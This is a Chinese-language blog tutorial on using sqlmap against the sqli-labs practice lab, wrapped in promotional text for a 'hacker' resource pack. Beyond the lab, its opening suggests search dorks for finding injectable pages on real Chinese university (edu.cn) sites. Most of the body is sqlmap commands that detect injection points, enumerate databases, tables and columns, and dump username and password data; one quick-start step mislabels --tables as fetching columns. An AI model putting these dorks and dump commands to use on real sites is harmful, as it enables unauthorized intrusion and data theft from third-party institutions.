网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn
快速入门;SQLmap(常规)使用步骤
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
一、目标
检测「注入点」前,需要指定需要检测的「对象」。
1、指定url
-u
参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。
提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'
扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。
2、指定文件(批量检测)
准备一个「文件」,写上需要检测的多个url,一行一个。
-m
指定文件,可以「批量扫描」文件中的url。
sqlmap -m urls.txt
逐个扫描url,需要确认就按y。
扫描完一个,就会提示存在的注入点。
然后再按y扫描下一个url。
3、指定数据库/表/字段
-D
指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
-T
指定目标「表」,单/双引号包裹,常配合其他参数使用。
-C
指定目标「字段」,单/双引号包裹,常配合其他参数使用。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
4、post请求
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。
-r
指定需要检测的文件,SQLmap会通过post请求方式检测目标。
sqlmap -r bp.txt
5、cookie注入
--cookie
指定cookie的值,单/双引号包裹。
sqlmap -u "http://xx?id=x" --cookie 'cookie'
二、脱库
获取所有内容
sqlmap -u 'http://xx/?id=1' -a
-a
就是 all 的意思,获取所有能获取的内容,会消耗很长时间。
1、获取数据库
--dbs
获取数据库
1.1、获取数据库版本
sqlmap -u 'http://xx/?id=1' -b
最后面显示数据库的版本,这里检测的版本是 5.7.26。
1.2、获取当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
在最后面显示当前使用的数据库的名字是 security。
1.3、获取所有数据库
sqlmap -u 'http://xx/?id=1' --dbs
最后面显示所有数据库的名字。
2、获取表
--tables
获取表
2.1、获取表,可以指定数据库
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
最后面显示数据库(security)里所有的表名。
2.2、同时获取多个库的表名,库名用逗号分隔。
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
2.3、不指定数据库,默认获取数据库中所有的表。
sqlmap -u 'http://xx/?id=1' --tables
最后面显示每个数据库下都有哪些表。
3、获取字段
--columns
参数用来获取字段。
3.1、获取字段,可以指定库和表
提示:只指定库名但不指定表名会报错。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
最后面显示表(users)中的所有字段。
3.2、不指定表名,默认获取当前数据库中所有表的字段。
sqlmap -u 'http://xx/?id=1' --columns
4、获取字段类型
--schema
获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
最后面显示每个表的字段类型。
5、获取值(数据)
--dump
获取值,也就是表中的数据。可以指定具体的库、表、字段。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
获取指定库中所有表的数据。
sqlmap -u 'http://xx/?id=1' -D 'security' --dump
默认获取表中的所有数据,可以使用 --start
--stop
指定开始和结束的行,只获取一部分数据。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump
6、获取用户
6.1、获取当前登录数据库的用户
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user
最后面显示当前登录数据库的用户是 root@localhost。
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网络安全面试题
绿盟护网行动
还有大家最喜欢的黑客技术
网络安全源码合集+工具包
所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!